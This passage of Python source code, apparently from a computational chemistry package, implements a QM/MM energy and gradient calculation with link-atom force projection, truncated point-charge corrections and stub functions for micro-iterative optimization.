\"------------RUNNING QM/MM MODULE-------------\", BC.END)\n print(\"QM Module:\", self.qm_theory_name)\n print(\"MM Module:\", self.mm_theory_name)\n\n #OPTION: QM-region charge/mult from QMMMTheory definition\n #If qm_charge/qm_mult defined then we use. Otherwise charge/mult may have been defined by jobtype-function and passed on via run\n if self.qm_charge != None:\n if self.printlevel > 1: print(\"Charge provided from QMMMTheory object: \", self.qm_charge)\n charge=self.qm_charge\n if self.qm_mult != None:\n if self.printlevel > 1: print(\"Mult provided from QMMMTheory object: \", self.qm_mult)\n mult=self.qm_mult\n\n #Checking if charge and mult has been provided. Exit if not.\n if charge == None or mult == None:\n print(BC.FAIL, \"Error. charge and mult has not been defined for QMMMTheory.run method\", BC.END)\n ashexit()\n if self.printlevel >1 : print(\"QM-region Charge: {} Mult: {}\".format(charge,mult))\n\n\n #If no coords provided to run (from Optimizer or NumFreq or MD) then use coords associated with object.\n #if len(current_coords) != 0:\n if current_coords is not None:\n pass\n else:\n current_coords=self.coords\n\n if self.embedding==\"Elstat\":\n PC=True\n else:\n PC=False\n \n #If numcores was set when calling .run then using, otherwise use self.numcores\n if numcores==1:\n numcores=self.numcores\n \n if self.printlevel >= 2:\n print(\"Running QM/MM object with {} cores available\".format(numcores))\n #Updating QM coords and MM coords.\n \n #TODO: Should we use different name for updated QMcoords and MMcoords here??\n #self.qmcoords=[current_coords[i] for i in self.qmatoms]\n #self.mmcoords=[current_coords[i] for i in self.mmatoms]\n self.qmcoords=np.take(current_coords,self.qmatoms,axis=0)\n self.mmcoords=np.take(current_coords,self.mmatoms,axis=0)\n\n self.qmelems=[self.elems[i] for i in self.qmatoms]\n self.mmelems=[self.elems[i] for i in self.mmatoms]\n \n \n #LINKATOMS\n #1. Get linkatoms coordinates\n if self.linkatoms==True:\n linkatoms_dict = ash.modules.module_coords.get_linkatom_positions(self.boundaryatoms,self.qmatoms, current_coords, self.elems)\n printdebug(\"linkatoms_dict:\", linkatoms_dict)\n #2. Add linkatom coordinates to qmcoords???\n if self.printlevel > 1: print(\"Adding linkatom positions to QM coords\")\n linkatoms_indices=[]\n \n #Sort by QM atoms:\n printdebug(\"linkatoms_dict.keys :\", linkatoms_dict.keys())\n for pair in sorted(linkatoms_dict.keys()):\n printdebug(\"Pair :\", pair)\n #self.qmcoords.append(linkatoms_dict[pair])\n self.qmcoords = np.append(self.qmcoords,np.array([linkatoms_dict[pair]]), axis=0)\n #print(\"self.qmcoords :\", self.qmcoords)\n #print(len(self.qmcoords))\n #ashexit()\n #Linkatom indices for book-keeping\n linkatoms_indices.append(len(self.qmcoords)-1)\n printdebug(\"linkatoms_indices: \", linkatoms_indices)\n \n self.num_linkatoms=len(linkatoms_indices)\n if self.printlevel > 1: print(f\"There are {self.num_linkatoms} linkatoms\")\n #TODO: Modify qm_elems list. Use self.qmelems or separate qmelems ?\n #TODO: Should we do this at object creation instead?\n current_qmelems=self.qmelems + ['H']*len(linkatoms_dict)\n #print(\"\")\n #print(\"current_qmelems :\", current_qmelems)\n \n #Do Charge-shifting. MM1 charge distributed to MM2 atoms\n \n if self.embedding==\"Elstat\":\n if self.printlevel > 1: print(\"Doing charge-shifting...\")\n #print(\"Before: self.pointcharges are: \", self.pointcharges)\n self.ShiftMMCharges() # Creates self.pointcharges\n #print(\"After: self.pointcharges are: \", self.pointcharges)\n if self.printlevel > 1: print(\"Number of pointcharges defined for whole system: \", len(self.pointcharges))\n\n #TODO: Code alternative to Charge-shifting: L2 scheme which deletes whole charge-group that MM1 belongs to\n \n # Defining pointcharges as only containing MM atoms\n if self.printlevel > 1: print(\"Number of MM atoms:\", len(self.mmatoms))\n\n self.pointcharges=[self.pointcharges[i] for i in self.mmatoms]\n #print(\"After: self.pointcharges are: \", self.pointcharges)\n if self.printlevel > 1: print(\"Number of pointcharges defined for MM region: \", len(self.pointcharges))\n #Set \n self.SetDipoleCharges() #Creates self.dipole_charges and self.dipole_coords\n\n #Adding dipole charge coords to MM coords (given to QM code) and defining pointchargecoords\n if self.printlevel > 1: print(\"Adding {} dipole charges to PC environment\".format(len(self.dipole_charges)))\n self.pointchargecoords=np.append(self.mmcoords,np.array(self.dipole_coords), axis=0)\n #Adding dipole charges to MM charges list (given to QM code)\n self.pointcharges=self.pointcharges+self.dipole_charges\n if self.printlevel > 1: print(\"Number of pointcharges after dipole addition: \", len(self.pointcharges))\n else:\n self.num_linkatoms=0\n #If no linkatoms then use original self.qmelems\n current_qmelems = self.qmelems\n #If no linkatoms then self.pointcharges are just original charges with QM-region zeroed\n if self.embedding==\"Elstat\":\n self.pointcharges=[self.charges_qmregionzeroed[i] for i in self.mmatoms]\n #If no linkatoms MM coordinates are the same\n self.pointchargecoords=self.mmcoords\n \n #NOTE: Now we have updated MM-coordinates (if doing linkatoms, wtih dipolecharges etc) and updated mm-charges (more, due to dipolecharges if linkatoms)\n # We also have MMcharges that have been set to zero due to QM/mm\n #We do not delete charges but set to zero\n\n if self.printlevel > 1: \n print(\"Number of charges:\", len(self.pointcharges))\n print(\"Number of charge coordinates:\", len(self.pointchargecoords))\n\n #TRUNCATED PC Option: Speeding up QM/MM jobs of large systems by passing only a truncated PC field to the QM-code most of the time\n # Speeds up QM-pointcharge gradient that otherwise dominates\n if self.TruncatedPC is True:\n self.TruncatedPCfunction()\n\n #Modifies self.pointcharges and self.pointchargecoords\n #print(\"Number of charges after truncation :\", len(self.pointcharges))\n #print(\"Number of charge coordinates after truncation :\", len(self.pointchargecoords))\n \n #If no qmatoms then do MM-only\n if len(self.qmatoms) == 0:\n print(\"No qmatoms list provided. Setting QMtheory to None\")\n self.qm_theory_name=\"None\"\n self.QMenergy=0.0\n \n #print_time_rel(CheckpointTime, modulename='QM/MM run prep', moduleindex=2, currprintlevel=self.printlevel, currthreshold=1)\n if self.printlevel > 1: print(\"Number of PCs provided to QM-program:\", len(self.pointcharges))\n\n #QM-part\n if self.qm_theory_name == \"None\" or self.qm_theory_name == \"ZeroTheory\":\n print(\"No QMtheory. Skipping QM calc\")\n QMenergy=0.0;self.linkatoms=False;PCgradient=np.array([0.0, 0.0, 0.0])\n QMgradient=np.array([0.0, 0.0, 0.0])\n #General QM-code energy+gradient call.\n #TODO: Add check whether QM-code supports both pointcharges and pointcharge-gradient?\n else:\n #Calling QM theory, providing current QM and MM coordinates.\n if Grad==True:\n if PC==True:\n\n #NOTE: Nasty temporary CP2K special case. Replace with qm_theory.method call instead?\n if isinstance(self.qm_theory,ash.CP2KTheory):\n print(\"here\")\n #Write special PDB-file here manually for CP2K. Should contain MM and QM atoms, linkatoms, dipole atoms etc.\n #\n #resnames=['XY' for i in range(0,frag.numatoms)] #QM MM label\n #residlabels=[1 for i in range(0,frag.numatoms)] #1 and 2\n #charges\n\n #write_pdbfile(self.fragment, outputname=\"cp2k.pdb\", resnames=resnames,\n # residlabels=residlabels, charges_column=charges)\n\n #Also write qm-list to disk, that CP2K will read.\n QMenergy, QMgradient, PCgradient = self.qm_theory.run(current_coords=self.qmcoords,\n current_MM_coords=self.pointchargecoords,\n MMcharges=self.pointcharges,\n qm_elems=current_qmelems, charge=charge, mult=mult,\n Grad=True, PC=True, numcores=numcores)\n \n #shutil.copyfile(self.qm_theory.filename+'.out', self.qm_theory.filename+'_full'+'.out')\n else:\n QMenergy, QMgradient = self.qm_theory.run(current_coords=self.qmcoords,\n current_MM_coords=self.pointchargecoords, MMcharges=self.pointcharges,\n qm_elems=current_qmelems, Grad=True, PC=False, numcores=numcores, charge=charge, mult=mult)\n else:\n QMenergy = self.qm_theory.run(current_coords=self.qmcoords,\n current_MM_coords=self.pointchargecoords, MMcharges=self.pointcharges,\n qm_elems=current_qmelems, Grad=False, PC=PC, numcores=numcores, charge=charge, mult=mult)\n\n print_time_rel(CheckpointTime, modulename='QM step', moduleindex=2,currprintlevel=self.printlevel, currthreshold=1)\n CheckpointTime = time.time()\n\n #Final QM/MM gradient. Combine QM gradient, MM gradient, PC-gradient (elstat MM gradient from QM code).\n # Do linkatom force projections in the end\n #UPDATE: Do MM step in the end now so that we have options for OpenMM extern force\n if Grad == True:\n Grad_prep_CheckpointTime = time.time()\n #assert len(self.allatoms) == len(self.MMgradient)\n \n #Defining QMgradient without linkatoms if present\n if self.linkatoms==True:\n self.QMgradient = QMgradient\n QMgradient_wo_linkatoms=QMgradient[0:-self.num_linkatoms] #remove linkatoms\n else:\n self.QMgradient = QMgradient\n QMgradient_wo_linkatoms=QMgradient\n\n #if self.printlevel >= 2:\n # ash.modules.module_coords.write_coords_all(self.QMgradient_wo_linkatoms, self.qmelems, indices=self.allatoms, file=\"QMgradient_wo_linkatoms\", description=\"QM+ gradient withoutlinkatoms (au/Bohr):\")\n\n\n #TRUNCATED PC Option:\n if self.TruncatedPC is True:\n #DONE ONCE: CALCULATE FULL PC GRADIENT TO DETERMINE CORRECTION\n if self.TruncatedPC_recalc_flag is True:\n CheckpointTime = time.time()\n truncfullCheckpointTime = time.time()\n\n #We have calculated truncated QM and PC gradient\n QMgradient_trunc = QMgradient\n PCgradient_trunc = PCgradient\n\n print(\"Now calculating full QM and PC gradient\")\n print(\"Number of PCs provided to QM-program:\", len(self.pointcharges_full))\n QMenergy_full, QMgradient_full, PCgradient_full = self.qm_theory.run(current_coords=self.qmcoords,\n current_MM_coords=self.pointchargecoords_full,\n MMcharges=self.pointcharges_full,\n qm_elems=current_qmelems, charge=charge, mult=mult,\n Grad=True, PC=True, numcores=numcores)\n print_time_rel(CheckpointTime, modulename='trunc-pc full calculation', moduleindex=3)\n CheckpointTime = time.time()\n #try:\n # shutil.copyfile(self.qm_theory.filename+'.out', self.qm_theory.filename+'_full'+'.out')\n #except:\n # pass\n \n #TruncPC correction to QM energy\n self.truncPC_E_correction = QMenergy_full - QMenergy\n print(f\"Truncated PC energy correction: {self.truncPC_E_correction} Eh\")\n self.QMenergy = QMenergy + self.truncPC_E_correction\n #Now determine the correction once and for all\n CheckpointTime = time.time()\n self.calculate_truncPC_gradient_correction(QMgradient_full, PCgradient_full, QMgradient_trunc, PCgradient_trunc)\n print_time_rel(CheckpointTime, modulename='calculate_truncPC_gradient_correction', moduleindex=3)\n CheckpointTime = time.time()\n \n #Now defining final QMgradient and PCgradient\n self.QMgradient_wo_linkatoms, self.PCgradient = self.TruncatedPCgradientupdate(QMgradient_wo_linkatoms,PCgradient)\n print_time_rel(CheckpointTime, modulename='truncPC_gradient update ', moduleindex=3)\n print_time_rel(truncfullCheckpointTime, modulename='trunc-full-step pcgrad update', moduleindex=3)\n\n else:\n CheckpointTime = time.time()\n #TruncPC correction to QM energy\n self.QMenergy = QMenergy + self.truncPC_E_correction\n self.QMgradient_wo_linkatoms, self.PCgradient = self.TruncatedPCgradientupdate(QMgradient_wo_linkatoms,PCgradient)\n print_time_rel(CheckpointTime, modulename='trunc pcgrad update', moduleindex=3)\n else:\n self.QMenergy = QMenergy\n #No TruncPC approximation active. No change to original QM and PCgradient from QMcode\n self.QMgradient_wo_linkatoms = QMgradient_wo_linkatoms\n if self.embedding==\"Elstat\":\n self.PCgradient = PCgradient\n\n #Initialize QM_PC gradient (has full system size) and fill up\n #TODO: This can be made more efficient\n CheckpointTime = time.time()\n self.make_QM_PC_gradient() #populates self.QM_PC_gradient\n print_time_rel(CheckpointTime, modulename='QMpcgrad prepare', moduleindex=3, currprintlevel=self.printlevel, currthreshold=2)\n #self.QM_PC_gradient = np.zeros((len(self.allatoms), 3))\n #qmcount=0;pccount=0\n #for i in self.allatoms:\n # if i in self.qmatoms:\n # #QM-gradient. Linkatom gradients are skipped\n # self.QM_PC_gradient[i]=self.QMgradient_wo_linkatoms[qmcount]\n # qmcount+=1\n # else:\n # #Pointcharge-gradient. Dipole-charge gradients are skipped (never reached)\n # self.QM_PC_gradient[i] = self.PCgradient[pccount]\n # pccount += 1\n #assert qmcount == len(self.qmatoms)\n #assert pccount == len(self.mmatoms) \n #assert qmcount+pccount == len(self.allatoms)\n\n #print(\" qmcount+pccount:\", qmcount+pccount)\n #print(\"len(self.allatoms):\", len(self.allatoms))\n #print(\"len self.QM_PC_gradient\", len(self.QM_PC_gradient))\n #ash.modules.module_coords.write_coords_all(self.QM_PC_gradient, self.elems, indices=self.allatoms, file=\"QM_PC_gradient\", description=\"QM_PC_gradient (au/Bohr):\")\n\n #if self.printlevel >= 2:\n # ash.modules.module_coords.write_coords_all(self.PCgradient, self.mmatoms, indices=self.allatoms, file=\"PCgradient\", description=\"PC gradient (au/Bohr):\")\n\n\n\n #if self.printlevel >= 2:\n # ash.modules.module_coords.write_coords_all(self.QM_PC_gradient, self.elems, indices=self.allatoms, file=\"QM+PCgradient_before_linkatomproj\", description=\"QM+PC gradient before linkatomproj (au/Bohr):\")\n\n\n #LINKATOM FORCE PROJECTION\n # Add contribution to QM1 and MM1 contribution???\n if self.linkatoms==True:\n CheckpointTime = time.time() \n #print(\"here\")\n #print(\"linkatoms_dict: \", linkatoms_dict)\n #print(\"linkatoms_indices: \", linkatoms_indices)\n \n for pair in sorted(linkatoms_dict.keys()):\n printdebug(\"pair: \", pair)\n #Grabbing linkatom data\n linkatomindex=linkatoms_indices.pop(0)\n printdebug(\"linkatomindex:\", linkatomindex)\n Lgrad=self.QMgradient[linkatomindex]\n printdebug(\"Lgrad:\",Lgrad)\n Lcoord=linkatoms_dict[pair]\n printdebug(\"Lcoord:\", Lcoord)\n #Grabbing QMatom info\n fullatomindex_qm=pair[0]\n printdebug(\"fullatomindex_qm:\", fullatomindex_qm)\n printdebug(\"self.qmatoms:\", self.qmatoms)\n qmatomindex=fullindex_to_qmindex(fullatomindex_qm,self.qmatoms)\n printdebug(\"qmatomindex:\", qmatomindex)\n Qcoord=self.qmcoords[qmatomindex]\n printdebug(\"Qcoords: \", Qcoord)\n\n Qgrad=self.QM_PC_gradient[fullatomindex_qm]\n printdebug(\"Qgrad (full QM/MM grad)s:\", Qgrad)\n \n #Grabbing MMatom info\n fullatomindex_mm=pair[1]\n printdebug(\"fullatomindex_mm:\", fullatomindex_mm)\n Mcoord=current_coords[fullatomindex_mm]\n printdebug(\"Mcoord:\", Mcoord)\n \n Mgrad=self.QM_PC_gradient[fullatomindex_mm]\n printdebug(\"Mgrad (full QM/MM grad): \", Mgrad)\n \n #Now grabbed all components, calculating new projected gradient on QM atom and MM atom\n newQgrad,newMgrad = linkatom_force_fix(Qcoord, Mcoord, Lcoord, Qgrad,Mgrad,Lgrad)\n printdebug(\"newQgrad: \", newQgrad)\n printdebug(\"newMgrad: \", newMgrad)\n \n #Updating full QM_PC_gradient (used to be QM/MM gradient)\n #self.QM_MM_gradient[fullatomindex_qm] = newQgrad\n #self.QM_MM_gradient[fullatomindex_mm] = newMgrad\n self.QM_PC_gradient[fullatomindex_qm] = newQgrad\n self.QM_PC_gradient[fullatomindex_mm] = newMgrad \n\n \n print_time_rel(CheckpointTime, modulename='linkatomgrad prepare', moduleindex=2, currprintlevel=self.printlevel, currthreshold=1)\n print_time_rel(Grad_prep_CheckpointTime, modulename='QM/MM gradient prepare', moduleindex=2, currprintlevel=self.printlevel, currthreshold=1)\n CheckpointTime = time.time()\n else:\n #No Grad\n self.QMenergy = QMenergy\n\n #if self.printlevel >= 2:\n # ash.modules.module_coords.write_coords_all(self.QM_PC_gradient, self.elems, indices=self.allatoms, file=\"QM+PCgradient\", description=\"QM+PC gradient (au/Bohr):\")\n\n\n\n # MM THEORY\n if self.mm_theory_name == \"NonBondedTheory\":\n if self.printlevel >= 2:\n print(\"Running MM theory as part of QM/MM.\")\n print(\"Using MM on full system. Charges for QM region have to be set to zero \")\n #printdebug(\"Charges for full system is: \", self.charges)\n print(\"Passing QM atoms to MMtheory run so that QM-QM pairs are skipped in pairlist\")\n print(\"Passing active atoms to MMtheory run so that frozen pairs are skipped in pairlist\")\n assert len(current_coords) == len(self.charges_qmregionzeroed)\n \n # NOTE: charges_qmregionzeroed for full system but with QM-charges zeroed (no other modifications)\n #NOTE: Using original system coords here (not with linkatoms, dipole etc.). Also not with deleted zero-charge coordinates. \n #charges list for full system, can be zeroed but we still want the LJ interaction\n \n self.MMenergy, self.MMgradient= self.mm_theory.run(current_coords=current_coords,\n charges=self.charges_qmregionzeroed, connectivity=self.connectivity,\n qmatoms=self.qmatoms, actatoms=self.actatoms)\n\n elif self.mm_theory_name == \"OpenMMTheory\":\n if self.printlevel >= 2:\n print(\"Using OpenMM theory as part of QM/MM.\")\n if self.QMChargesZeroed==True:\n if self.printlevel >= 2:\n print(\"Using MM on full system. Charges for QM region {} have been set to zero \".format(self.qmatoms))\n else:\n print(\"QMCharges have not been zeroed\")\n ashexit()\n #printdebug(\"Charges for full system is: \", self.charges)\n #Todo: Need to make sure OpenMM skips QM-QM Lj interaction => Exclude\n #Todo: Need to have OpenMM skip frozen region interaction for speed => => Exclude\n if Grad==True:\n CheckpointTime = time.time()\n #print(\"QM/MM Grad is True\")\n #Provide QM_PC_gradient to OpenMMTheory \n if self.openmm_externalforce == True:\n print_if_level(f\"OpenMM externalforce is True\", self.printlevel,2)\n #Calculate energy associated with external force so that we can subtract it later\n self.extforce_energy = 3 * np.mean(np.sum(self.QM_PC_gradient * current_coords * 1.88972612546, axis=0))\n print_if_level(f\"Extforce energy: {self.extforce_energy}\", self.printlevel,2)\n print_time_rel(CheckpointTime, modulename='extforce prepare', moduleindex=2, currprintlevel=self.printlevel, currthreshold=1)\n #NOTE: Now moved mm_theory.update_custom_external_force call to MD simulation instead\n # as we don't have access to simulation object here anymore. Uses self.QM_PC_gradient\n if exit_after_customexternalforce_update==True:\n print_if_level(f\"OpenMM custom external force updated. Exit requested\", self.printlevel,2)\n #This is used if OpenMM MD is handling forces and dynamics\n return\n\n self.MMenergy, self.MMgradient= self.mm_theory.run(current_coords=current_coords, qmatoms=self.qmatoms, Grad=True)\n else:\n print(\"QM/MM Grad is false\")\n self.MMenergy= self.mm_theory.run(current_coords=current_coords, qmatoms=self.qmatoms)\n else:\n self.MMenergy=0\n print_time_rel(CheckpointTime, modulename='MM step', moduleindex=2, currprintlevel=self.printlevel, currthreshold=1)\n CheckpointTime = time.time()\n\n\n #Final QM/MM Energy. Possible correction for OpenMM external force term\n self.QM_MM_energy= self.QMenergy+self.MMenergy-self.extforce_energy\n if self.printlevel >= 2:\n blankline()\n if self.embedding==\"Elstat\":\n print(\"Note: You are using electrostatic embedding. This means that the QM-energy is actually the polarized QM-energy\")\n print(\"Note: MM energy also contains the QM-MM Lennard-Jones interaction\\n\")\n energywarning=\"\"\n if self.TruncatedPC is True:\n #if self.TruncatedPCflag is True:\n print(\"Warning: Truncated PC approximation is active. This means that QM and QM/MM energies are approximate.\")\n energywarning=\"(approximate)\"\n \n print(\"{:<20} {:>20.12f} {}\".format(\"QM energy: \",self.QMenergy,energywarning))\n print(\"{:<20} {:>20.12f}\".format(\"MM energy: \", self.MMenergy))\n print(\"{:<20} {:>20.12f} {}\".format(\"QM/MM energy: \", self.QM_MM_energy,energywarning))\n blankline()\n\n #FINAL QM/MM GRADIENT ASSEMBLY\n if Grad == True:\n #If OpenMM external force method then QM/MM gradient is already complete\n #NOTE: Not possible anymore \n if self.openmm_externalforce == True:\n pass\n # self.QM_MM_gradient = self.MMgradient\n #Otherwise combine\n else:\n #Now assemble full QM/MM gradient\n #print(\"len(self.QM_PC_gradient):\", len(self.QM_PC_gradient))\n #print(\"len(self.MMgradient):\", len(self.MMgradient))\n assert len(self.QM_PC_gradient) == len(self.MMgradient)\n self.QM_MM_gradient=self.QM_PC_gradient+self.MMgradient\n\n\n if self.printlevel >=3:\n print(\"Printlevel >=3: Printing all gradients to disk\")\n #print(\"QM gradient (au/Bohr):\")\n #module_coords.print_coords_all(self.QMgradient, self.qmelems, self.qmatoms)\n ash.modules.module_coords.write_coords_all(self.QMgradient_wo_linkatoms, self.qmelems, indices=self.qmatoms, file=\"QMgradient-without-linkatoms_{}\".format(label), description=\"QM gradient w/o linkatoms {} (au/Bohr):\".format(label))\n \n #Writing QM+Linkatoms gradient\n ash.modules.module_coords.write_coords_all(self.QMgradient, self.qmelems+['L' for i in range(self.num_linkatoms)], indices=self.qmatoms+[0 for i in range(self.num_linkatoms)], file=\"QMgradient-with-linkatoms_{}\".format(label), description=\"QM gradient with linkatoms {} (au/Bohr):\".format(label))\n \n #blankline()\n #print(\"PC gradient (au/Bohr):\")\n #module_coords.print_coords_all(self.PCgradient, self.mmelems, self.mmatoms)\n ash.modules.module_coords.write_coords_all(self.PCgradient, self.mmelems, indices=self.mmatoms, file=\"PCgradient_{}\".format(label), description=\"PC gradient {} (au/Bohr):\".format(label))\n #blankline()\n #print(\"QM+PC gradient (au/Bohr):\")\n #module_coords.print_coords_all(self.QM_PC_gradient, self.elems, self.allatoms)\n ash.modules.module_coords.write_coords_all(self.QM_PC_gradient, self.elems, indices=self.allatoms, file=\"QM+PCgradient_{}\".format(label), description=\"QM+PC gradient {} (au/Bohr):\".format(label))\n #blankline()\n #print(\"MM gradient (au/Bohr):\")\n #module_coords.print_coords_all(self.MMgradient, self.elems, self.allatoms)\n ash.modules.module_coords.write_coords_all(self.MMgradient, self.elems, indices=self.allatoms, file=\"MMgradient_{}\".format(label), description=\"MM gradient {} (au/Bohr):\".format(label))\n #blankline()\n #print(\"Total QM/MM gradient (au/Bohr):\")\n #print(\"\")\n #module_coords.print_coords_all(self.QM_MM_gradient, self.elems,self.allatoms)\n ash.modules.module_coords.write_coords_all(self.QM_MM_gradient, self.elems, indices=self.allatoms, file=\"QM_MMgradient_{}\".format(label), description=\"QM/MM gradient {} (au/Bohr):\".format(label))\n if self.printlevel >= 2:\n print(BC.WARNING,BC.BOLD,\"------------ENDING QM/MM MODULE-------------\",BC.END)\n print_time_rel(module_init_time, modulename='QM/MM run', moduleindex=2, currprintlevel=self.printlevel, currthreshold=1)\n return self.QM_MM_energy, self.QM_MM_gradient\n else:\n print_time_rel(module_init_time, modulename='QM/MM run', moduleindex=2, currprintlevel=self.printlevel, currthreshold=1)\n return self.QM_MM_energy\n\n\n\n\n\n\n\n\n\n\n\n#Micro-iterative QM/MM Optimization\n# NOTE: Not ready\n#Wrapper around QM/MM run and geometric optimizer for performing microiterative QM/MM opt\n# I think this is easiest\n# Thiel: https://pubs.acs.org/doi/10.1021/ct600346p\n#Look into new: https://pubs.acs.org/doi/pdf/10.1021/acs.jctc.6b00547\n\ndef microiter_QM_MM_OPT_v1(theory=None, fragment=None, chargemodel=None, qmregion=None, activeregion=None, bufferregion=None):\n \n ashexit()\n #1. Calculate single-point QM/MM job and get charges. Maybe get gradient to judge convergence ?\n energy=Singlepoint(theory=theory,fragment=fragment)\n #grab charges\n #update charges\n #2. Change active region so that only MM atoms are in active region\n conv_criteria=\"something\"\n sdf=geomeTRICOptimizer(theory=theory,fragment=fragment, coordsystem='hdlc', maxiter=50, ActiveRegion=False, actatoms=[], \n convergence_setting=None, conv_criteria=conv_criteria)\n #3. QM/MM single-point with new charges?\n #3b. Or do geometric job until a certain threshold and then do MM again??\n\n\n#frozen-density micro-iterative QM/MM\ndef microiter_QM_MM_OPT_v2(theory=None, fragment=None, maxiter=500, qmregion=None, activeregion=None, bufferregion=None,xtbdir=None,xtbmethod='GFN2-xTB'):\n sdf=\"dsds\"\n ashexit()\n#xtb instead of charges\ndef microiter_QM_MM_OPT_v3(theory=None, fragment=None, maxiter=500, qmregion=None, activeregion=None, bufferregion=None,xtbdir=None,xtbmethod='GFN2-xTB', charge=None, mult=None):\n ashexit()\n #Make copy of orig theory\n orig_theory=copy.deepcopy(theory)\n # TODO: If BS-spinflipping, use Hsmult instead of regular mul6\n xtbtheory=xTBTheory(xtbdir=None, charge=charge, mult=mult, xtbmethod=xtbmethod, \n runmode='inputfile', numcores=1, printlevel=2)\n ll_theory=copy.deepcopy(theory)\n ll_theory.qm_theory=xtbtheory\n #Convergence criteria\n loose_conv_criteria = { 'convergence_energy' : 1e-1, 'convergence_grms' : 1e-1, 'convergence_gmax' : 1e-1, 'convergence_drms' : 1e-1, \n 'convergence_dmax' : 1e-1 }\n final_conv_criteria = {'convergence_energy' : 1e-6, 'convergence_grms' : 3e-4, 'convergence_gmax' : 4.5e-4, 'convergence_drms' : 1.2e-3, \n 'convergence_dmax' : 1.8e-3 }\n\n \n #Remove QM-region from actregion, optimize everything else.\n act_original=copy.deepcopy(act)\n for i in qmatoms:\n activeregion.remove(i)\n \n \n for macroiteration in range(0,maxiter):\n oldHLenergy=Hlenergy\n print(\"oldHLenergy:\", oldHLenergy)\n #New Macro-iteration step\n HLenergy,HLgrad=Singlepoint(theory=orig_theory,fragment=fragment,Grad=True, charge=charge, mult=mult)\n print(\"HLenergy:\", HLenergy)\n #Check if HLgrad matches convergence critera for gradient?\n if macroiteration > 0:\n #Test step acceptance\n if HLenergy > oldHLenergy:\n #Reject step. Reduce step size, use old geo, not sure how\n pass\n if RMS_Hlgrad < final_conv_criteria['convergence_grms'] and MaxHLgrad < final_conv_criteria['convergence_gmax']:\n print(\"Converged.\")\n return\n #Make step using Hlgrad\n \n LLenergy,LLgrad=Singlepoint(theory=ll_theory,fragment=fragment,Grad=True, charge=charge, mult=mult)\n #Compare gradient, calculate G0 correction\n\n print(\"Now starting low-level theory QM/MM microtierative optimization\")\n print(\"activeregion:\", activeregion)\n print(\"ll_theory qm theory:\", ll_theory.qm_theory)\n bla=geomeTRICOptimizer(theory=ll_theory,fragment=fragment, coordsystem='hdlc', maxiter=200, ActiveRegion=True, actatoms=activeregion, \n conv_criteria=loose_conv_criteria, charge=charge, mult=mult)\n print(\"Now starting finallevel theory QM/MM microtierative optimization\")\n print(\"act_original:\", act_original)\n print(\"orig_theory qm theory:\", orig_theory.qm_theory)\n final=geomeTRICOptimizer(theory=orig_theory,fragment=fragment, coordsystem='hdlc', maxiter=200, ActiveRegion=True, actatoms=act_original, \n conv_criteria=final_conv_criteria, charge=charge, mult=mult)\n print(\"Micro-iterative QM/MM opt complete !\")\n return final\n \n\n#This projects the linkatom force onto the respective QM atom and MM atom\ndef linkatom_force_fix(Qcoord, Mcoord, Lcoord, Qgrad,Mgrad,Lgrad):\n printdebug(\"Qcoord:\", Qcoord)\n printdebug(\"Mcoord:\", Mcoord)\n printdebug(\"Lcoord:\", Lcoord)\n #QM1-L and QM1-MM1 distances\n QLdistance=ash.modules.module_coords.distance(Qcoord,Lcoord)\n printdebug(\"QLdistance:\", QLdistance)\n MQdistance=ash.modules.module_coords.distance(Mcoord,Qcoord)\n printdebug(\"MQdistance:\", MQdistance)\n #B and C: a 3x3 arrays\n B=np.zeros([3,3])\n C=np.zeros([3,3])\n for i in range(0,3):\n for j in range(0,3):\n B[i,j]=-1*QLdistance*(Mcoord[i]-Qcoord[i])*(Mcoord[j]-Qcoord[j]) / (MQdistance*MQdistance*MQdistance)\n for i in range(0,3):\n B[i,i] = B[i,i] + QLdistance / MQdistance\n for i in range(0,3):\n for j in range(0,3):\n C[i,j]= -1 * B[i,j]\n for i in range(0,3):\n C[i,i] = C[i,i] + 1.0 \n\n #Multiplying C matrix with Linkatom gradient\n #temp\n g_x=C[0,0]*Lgrad[0]+C[0,1]*Lgrad[1]+C[0,2]*Lgrad[2]\n g_y=C[1,0]*Lgrad[0]+C[1,1]*Lgrad[1]+C[1,2]*Lgrad[2]\n g_z=C[2,0]*Lgrad[0]+C[2,1]*Lgrad[1]+C[2,2]*Lgrad[2]\n \n printdebug(\"g_x:\", g_x)\n printdebug(\"g_y:\", g_y)\n printdebug(\"g_z:\", g_z)\n \n #Multiplying B matrix with Linkatom gradient\n gg_x=B[0,0]*Lgrad[0]+B[0,1]*Lgrad[1]+B[0,2]*Lgrad[2]\n gg_y=B[1,0]*Lgrad[0]+B[1,1]*Lgrad[1]+B[1,2]*Lgrad[2]\n gg_z=B[2,0]*Lgrad[0]+B[2,1]*Lgrad[1]+B[2,2]*Lgrad[2] \n \n printdebug(\"gg_x:\", gg_x)\n printdebug(\"gg_y:\", gg_y)\n printdebug(\"gg_z:\", gg_z)\n #QM atom gradient\n printdebug(\"Qgrad before:\", Qgrad)\n printdebug(\"Lgrad:\", Lgrad)\n printdebug(\"C: \", C)\n printdebug(\"B:\", B)\n #Multiply grad by C-diagonal\n #Qgrad[0] = Qgrad[0]*C[0][0]\n #Qgrad[1] = Qgrad[1]*C[1][1]\n #Qgrad[2] = Qgrad[2]*C[2][2]\n Qgrad[0]=Qgrad[0]+g_x\n Qgrad[1]=Qgrad[1]+g_y\n Qgrad[2]=Qgrad[2]+g_z\n printdebug(\"Qgrad after:\", Qgrad)\n #MM atom gradient\n printdebug(\"Mgrad before\", Mgrad)\n #Mgrad[0] = Mgrad[0]*B[0][0]\n #Mgrad[1] = Mgrad[1]*B[1][1]\n #Mgrad[2] = Mgrad[2]*B[2][2]\n Mgrad[0]=Mgrad[0]+gg_x\n Mgrad[1]=Mgrad[1]+gg_y\n Mgrad[2]=Mgrad[2]+gg_z \n printdebug(\"Mgrad after:\", Mgrad)\n \n return Qgrad,Mgrad\n\ndef fullindex_to_qmindex(fullindex,qmatoms):\n qmindex=qmatoms.index(fullindex)\n return qmindex\n\n\n#Grab resid column from PDB-fil\n# NOTE: Problem: what if we have repeating sequences of resids, additional chains or segments ?\n#TODO: this is 1-based indexing. Switch to 0-based indexing??\ndef grab_resids_from_pdbfile(pdbfile):\n resids=[]\n with open(pdbfile) as f:\n for line in f:\n if 'ATOM' in line or 'HETATM' in line:\n #Based on: https://cupnet.net/pdb-format/\n resid_part=int(line[22:26].replace(\" \",\"\"))\n resids.append(resid_part)\n return resids\n\n#Read atomic charges present in PSF-file. assuming Xplor format\ndef read_charges_from_psf(file):\n charges=[]\n grab=False\n with open(file) as f:\n for line in f:\n if len(line.split()) == 9:\n if 'REMARKS' not in line:\n grab=True\n if len(line.split()) < 8:\n 